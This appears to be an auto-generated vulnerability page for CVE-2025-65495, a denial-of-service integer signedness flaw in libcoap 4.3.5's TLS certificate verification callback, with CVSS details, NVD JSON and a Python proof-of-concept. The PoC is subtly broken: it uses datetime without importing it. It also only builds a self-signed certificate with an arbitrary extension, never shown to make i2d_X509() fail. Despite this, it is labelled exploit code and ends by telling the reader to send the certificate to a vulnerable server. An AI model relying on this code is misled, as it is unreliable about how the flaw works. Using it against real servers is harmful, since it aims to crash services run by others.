Security Vulnerability Report
中文
CVE-2025-65495 CVSS 7.5 HIGH

CVE-2025-65495

Published: 2025-11-24 14:15:47
Last Modified: 2025-12-01 17:15:31

Description

Integer signedness error in tls_verify_call_back() in src/coap_openssl.c in OISM libcoap 4.3.5 allows remote attackers to cause a denial of service via a crafted TLS certificate that causes i2d_X509() to return -1 and be misused as a malloc() size parameter.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:libcoap:libcoap:4.3.5:-:*:*:*:*:*:* - VULNERABLE
libcoap < 4.3.5 (需要确认修复版本)
libcoap 4.3.5 (确认受影响)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-65495 PoC - libcoap tls_verify_call_back Integer Signedness Error This PoC demonstrates the vulnerability by generating a malformed TLS certificate that causes i2d_X509() to return -1 when processed by libcoap. """ from cryptography import x509 from cryptography.x509.oid import NameOID from cryptography.hazmat.primitives import hashes, serialization from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.backends import default_backend import struct def generate_malformed_certificate(): """ Generate a malformed X509 certificate that triggers the vulnerability. The certificate is crafted to cause parsing errors in i2d_X509(). """ # Generate a basic CA certificate key = rsa.generate_private_key( public_exponent=65537, key_size=2048, backend=default_backend() ) subject = issuer = x509.Name([ x509.NameAttribute(NameOID.COUNTRY_NAME, "XX"), x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, "Test"), x509.NameAttribute(NameOID.LOCALITY_NAME, "Test"), x509.NameAttribute(NameOID.ORGANIZATION_NAME, "Test"), x509.NameAttribute(NameOID.COMMON_NAME, "Malformed Cert"), ]) # Build certificate with problematic extensions cert_builder = x509.CertificateBuilder() cert_builder = cert_builder.subject_name(subject) cert_builder = cert_builder.issuer_name(issuer) cert_builder = cert_builder.public_key(key.public_key()) cert_builder = cert_builder.serial_number(x509.random_serial_number()) cert_builder = cert_builder.not_valid_before(datetime.datetime.utcnow()) cert_builder = cert_builder.not_valid_after(datetime.datetime.utcnow() + datetime.timedelta(days=365)) # Add malformed extension that may cause parsing issues # This is a simplified example - real exploit may require more sophisticated crafting cert_builder = cert_builder.add_extension( x509.UnrecognizedExtension( x509.oid.ObjectIdentifier("1.2.3.4.5.6.7.8.9"), b"\x00\x01\x02\x03" * 100 # Malformed data ), critical=False ) # Sign the certificate certificate = cert_builder.sign(key, hashes.SHA256(), default_backend()) return certificate.public_bytes(serialization.Encoding.PEM) def main(): print("[*] CVE-2025-65495 PoC for libcoap Integer Signedness Error") print("[*] This PoC generates a malformed certificate for testing purposes") # In a real attack scenario, this certificate would be sent during TLS handshake # to a server using vulnerable libcoap version cert_pem = generate_malformed_certificate() print(f"[*] Generated malformed certificate ({len(cert_pem)} bytes)") print("[*] To exploit: Send this certificate during TLS connection to vulnerable libcoap server") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65495", "sourceIdentifier": "[email protected]", "published": "2025-11-24T14:15:47.053", "lastModified": "2025-12-01T17:15:30.583", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Integer signedness error in tls_verify_call_back() in src/coap_openssl.c in OISM libcoap 4.3.5 allows remote attackers to cause a denial of service via a crafted TLS certificate that causes i2d_X509() to return -1 and be misused as a malloc() size parameter."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-195"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:libcoap:libcoap:4.3.5:-:*:*:*:*:*:*", "matchCriteriaId": "78120234-9F76-4010-AD0E-FEA4DE8A76F9"}]}]}], "references": [{"url": "https://github.com/obgm/libcoap/issues/1744", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/obgm/libcoap/pull/1750", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}]}}